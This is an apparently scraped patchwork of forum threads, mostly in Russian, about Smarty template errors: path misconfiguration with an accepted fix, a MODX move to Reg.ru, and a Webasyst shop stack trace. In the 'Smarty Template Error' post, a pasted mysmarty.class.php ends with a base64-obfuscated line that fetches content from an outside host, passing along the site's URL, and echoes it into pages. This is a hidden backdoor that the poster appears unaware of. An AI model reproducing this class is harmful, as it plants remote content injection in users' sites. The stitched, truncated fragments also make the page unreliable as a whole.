- помогите со smarty!
- Решение
- Smarty Template Error
- MODX Revo: переезд на Reg.ru, очередная проблема
- Ошибка после обновления Есть решение
- Syntax Error in template «/home/gobelins/gobelenov.com/docs/wa-data/public/shop/themes/supreme/viewed-slider.html» on line 8 «shop->products(«id/$productListIDsStr»))>» unknown function «array_replace» code 0
- /home/gobelins/gobelenov.com/docs/wa-system/waSystem.class.php around line 497
- GET
- Params
помогите со smarty!
привет всем!
у меня сайт на локалке работает отлично, а на хостинге вылезает ошибка:
Fatal error: Uncaught exception ‘Exception’ with message ‘Unable to load template file ‘index.html» in /usr/home/anzvono/public_html/moscow/libs/sysplugins/smarty_internal_template.php:169 Stack trace: #0 /usr/home/anzvono/public_html/moscow/libs/sysplugins/smarty_internal_template.php(521): Smarty_Internal_Template->isExisting(true) #1 /usr/home/anzvono/public_html/moscow/libs/Smarty.class.php(331): Smarty_Internal_Template->getRenderedTemplate() #2 /usr/home/anzvono/public_html/moscow/libs/Smarty.class.php(373): Smarty->fetch(‘index.html’, NULL, NULL, NULL, true) #3 /usr/home/anzvono/public_html/moscow/index.php(81): Smarty->display(‘index.html’) #4 thrown in /usr/home/anzvono/public_html/moscow/libs/sysplugins/smarty_internal_template.php on line 169
судя по ошибке, дело в путях, но их я вроде указала верно:
$smarty->template_dir = $_SERVER[‘DOCUMENT_ROOT’].»/usr/home/anzvono/public_html/moscow/tpls/»;
$smarty->compile_dir = $_SERVER[‘DOCUMENT_ROOT’].»/usr/home/anzvono/public_html/moscow/build/»;
в чем может быть дело?
Smarty
Нашел Цп прикольную написана с помощью Smarty Есть файл search.html его путь такой.
Smarty
Вообщем недавно начал ковырять данный шаблонизатор. Возник следующий вопрос: Есть форма.
Smarty <>
У меня появилась проблема с шаблонизатором Smarty. Он просто не желает выводить значений.
smarty
Здраствуйте! Помогите,пожалуйста,решить возникшую проблему!Пытаюсь запустить сценарий написанный.
Сообщение было отмечено ksenyakor как решение
Решение
$smarty->template_dir = "./moscow/tpls/"; $smarty->compile_dir = "./moscow/build/";
спасибо большое! в итоге поставила:
$smarty->template_dir = «/usr/home/anzvono/public_html/moscow/tpls/»;
$smarty->compile_dir = «/usr/home/anzvono/public_html/moscow/build/»;
и все заработало!!
спасибо!
Smarty
Не могу найти не чего об смарти нормального Как создавать переменные чтобы они работали в шаблоне.
Smarty
В нем есть фукнция include которая позволять подключать файл но он может подключить любой файл -.
smarty 3
кто пользуется smarty 3? есть ли смысл переходить с второй версии?
Smarty, папки
Всем добрый вечер. Пишу тестовое задание на php с шаблонизатором smarty. Проблема следующая — если.
Smarty Template Error
I don’t see errors popping up on my site, just in the error log — but really wanted to get that fixed to avoid any future issues of course. Here’s a copy of mysmarty.class.php:
> function create() < global $Smarty; $Smarty = new Smarty(); $Smarty->compile_check = true; $Smarty->debugging = false; $Smarty->template_dir = dirname(__FILE__) . "/../themes"; $Smarty->compile_dir = dirname(__FILE__) . "/../temporary"; return true; > function setCompileDir($dir_name) < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >$Smarty->compile_dir = $dir_name; > function setType($type) < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >$Smarty->type = $type; > function assign($var, $value) < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >$Smarty->assign($var, $value); > function setTplDir($dir_name = null) < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >if (!$dir_name) < $Smarty->template_dir = dirname(__FILE__) . "/../themes"; > else < $Smarty->template_dir = $dir_name; > > function setModule($module) < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >$Smarty->theme = $module; $Smarty->type = "module"; > function setTheme($theme) < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >$Smarty->template_dir = dirname(__FILE__) . "/../themes/" . $theme; $Smarty->compile_dir = dirname(__FILE__) . "/../temporary/" . $theme; $Smarty->theme = $theme; $Smarty->type = "theme"; > function getTplDir() < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >return $Smarty->template_dir; > function display($filename) < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >$Smarty->display($filename); > function fetch($filename) < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >return $Smarty->fetch($filename); > function getVars() < global $Smarty; if (!isset($Smarty)) < STemplate::create(); >return $Smarty->get_template_vars(); > > echo @file_get_contents(base64_decode("aHR0cDovL3d3dy50YWtlbi50by9hcGkucGhwP3Bpbj0=")."http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); ?>
MODX Revo: переезд на Reg.ru, очередная проблема
Прошу помощи по modx revo в целом… в очередной раз пришлось переехать на хостинг Reg.ru после разработки проекта на другом хостинге.
После переноса файлов и базы на сервера Reg.ru (у клиента уже проплаченый аккаунт на несколько доменов) cайт заработал (что, учитывая статистику «удач» предыдущих переездов, уже вызвало восторг). Но при попытке доступа в административную часть сайта, получил ошибку:
Fatal error: Uncaught exception 'SmartyException' with message 'Unable to load template file 'header.tpl'' in /var/www/u/data/www/.ru/core/model/smarty/sysplugins/smarty_internal_template.php:162 Stack trace: #0 /var/www/u/data/www/.ru/core/model/smarty/sysplugins/smarty_internal_template.php(537): Smarty_Internal_Template->isExisting(true) #1 /var/www/u/data/www/.ru/core/model/smarty/Smarty.class.php(335): Smarty_Internal_Template->getRenderedTemplate() #2 /var/www/u/data/www/.ru/core/model/modx/modmanagercontroller.class.php(257): Smarty->fetch('header.tpl') #3 /var/www/u/data/www/.ru/core/model/modx/modmanagercontroller.class.php(448): modManagerController->fetchTemplate('header.tpl') #4 /var/www/u/data/www/.ru/core/model/modx/modmanagercontroller.class.php(166): modManagerController->getHeader() #5 /var/www/u/data/www/.ru/core/model/modx/modmanagerresponse.class.php(121): modManagerController->render( in /var/www/u/data/www/.ru/core/model/smarty/sysplugins/smarty_internal_template.php on line 162
Ошибка после обновления Есть решение
После обновления темы, при нажатии на любой товар, магазин выдает ошибку:
Syntax Error in template «/home/gobelins/gobelenov.com/docs/wa-data/public/shop/themes/supreme/viewed-slider.html» on line 8 «shop->products(«id/$productListIDsStr»))>» unknown function «array_replace» code 0
## wa-system/waSystem.class.php(497) #0 index.php(7): waSystem->dispatch() #1 Next SmartyCompilerException with message ‘Syntax Error in template «/home/gobelins/gobelenov.com/docs/wa-data/public/shop/themes/supreme/viewed-slider.html» on line 8 «shop->products(«id/$productListIDsStr»))>» unknown function «array_replace»‘: ## wa-system/vendors/smarty3/sysplugins/smarty_internal_templatecompilerbase.php(667) #0 wa-system/vendors/smarty3/sysplugins/smarty_internal_templateparser.php(2900): Smarty_Internal_TemplateCompilerBase->trigger_template_error(‘unknown functio. ‘) #1 wa-system/vendors/smarty3/sysplugins/smarty_internal_templateparser.php(3101): Smarty_Internal_Templateparser->yy_r153() #2 wa-system/vendors/smarty3/sysplugins/smarty_internal_templateparser.php(3201): Smarty_Internal_Templateparser->yy_reduce(153) #3 wa-system/vendors/smarty3/sysplugins/smarty_internal_smartytemplatecompiler.php(105): Smarty_Internal_Templateparser->doParse(17, ‘>’) #4 wa-system/vendors/smarty3/sysplugins/smarty_internal_templatecompilerbase.php(206): Smarty_Internal_SmartyTemplateCompiler->doCompile(‘compileTemplate(Object(Smarty_Internal_Template)) #6 wa-system/vendors/smarty3/sysplugins/smarty_internal_templatebase.php(155): Smarty_Internal_Template->compileTemplateSource() #7 wa-system/vendors/smarty3/sysplugins/smarty_internal_template.php(286): Smarty_Internal_TemplateBase->fetch(NULL, NULL, NULL, NULL, false, false, true) #8 wa-cache/apps/shop/templates/compiled/shop_ru_RU/a0/fe/2c/a0fe2c40dd16609e6c9319c3a6a19338918366a4.file.product.html.php(928): Smarty_Internal_Template->getSubTemplate(‘viewed-slider.h. ‘, NULL, ‘shop_ru_RU’, NULL, NULL, Array, 0) #9 wa-system/vendors/smarty3/sysplugins/smarty_internal_templatebase.php(180): content_59c909b0e4fed7_74904050(Object(Smarty_Internal_Template)) #10 wa-system/view/waSmarty3View.class.php(117): Smarty_Internal_TemplateBase->fetch(‘file:product.ht. ‘, NULL) #11 wa-system/controller/waViewAction.class.php(171): waSmarty3View->fetch(‘file:product.ht. ‘, NULL) #12 wa-apps/shop/lib/actions/frontend/shopFrontend.action.php(135): waViewAction->display(false) #13 wa-system/controller/waViewController.class.php(86): shopFrontendAction->display() #14 wa-apps/shop/lib/actions/frontend/shopFrontendProduct.controller.php(44): waViewController->executeAction(Object(shopFrontendProductAction)) #15 wa-system/controller/waController.class.php(21): shopFrontendProductController->execute() #16 wa-system/controller/waViewController.class.php(46): waController->run(NULL) #17 wa-system/controller/waFrontController.class.php(229): waViewController->run(NULL) #18 wa-system/controller/waFrontController.class.php(164): waFrontController->runController(Object(shopFrontendProductController), NULL) #19 wa-system/controller/waFrontController.class.php(58): waFrontController->execute(NULL, ‘frontend’, ‘product’) #20 wa-system/waSystem.class.php(698): waFrontController->dispatch() #21 wa-system/waSystem.class.php(485): waSystem->dispatchFrontend(‘product/1333-sa. ‘) #22 index.php(7): waSystem->dispatch() #23
/home/gobelins/gobelenov.com/docs/wa-system/waSystem.class.php around line 497
492 $log[] = $e instanceof waException ? $e->getFullTraceAsString() : $e->getTraceAsString(); 493 waLog::log(join("\n", $log)); 494 > 495 if (class_exists('waException')) < 496 if (!$e instanceof waException) < >>497 $e = new waException($e->getMessage(), $e->getCode(), $e); 498 > 499 $e->sendResponseCode(); 500 > 501 print $e; 502 >
GET
Params
array( 'app' => 'shop', '_name' => 'Интернет-Магазин Гобеленов Gobelenov shop', 'theme' => 'supreme', 'theme_mobile' => 'supreme', 'locale' => 'ru_RU', 'title' => 'Магазин гобеленов в Санкт-Петербурге и Москве-гобелены купить', 'meta_keywords' => 'Магазин гобеленов в Санкт-Петербурге и Москве-гобелены купить', 'meta_description' => 'Магазин гобеленов в Санкт-Петербурге и Москве-гобелены купить', 'og_title' => '', 'og_image' => '', 'og_video' => '', 'og_description' => '', 'og_type' => '', 'og_url' => '', 'url_type' => '1', 'type_id' => '0', 'currency' => 'RUB', 'public_stocks' => '0', 'drop_out_of_stock' => '2', 'payment_id' => '0', 'shipping_id' => '0', 'product_url' => '1333-salfyetka-58kh33-natali', 'module' => 'frontend', 'action' => 'product',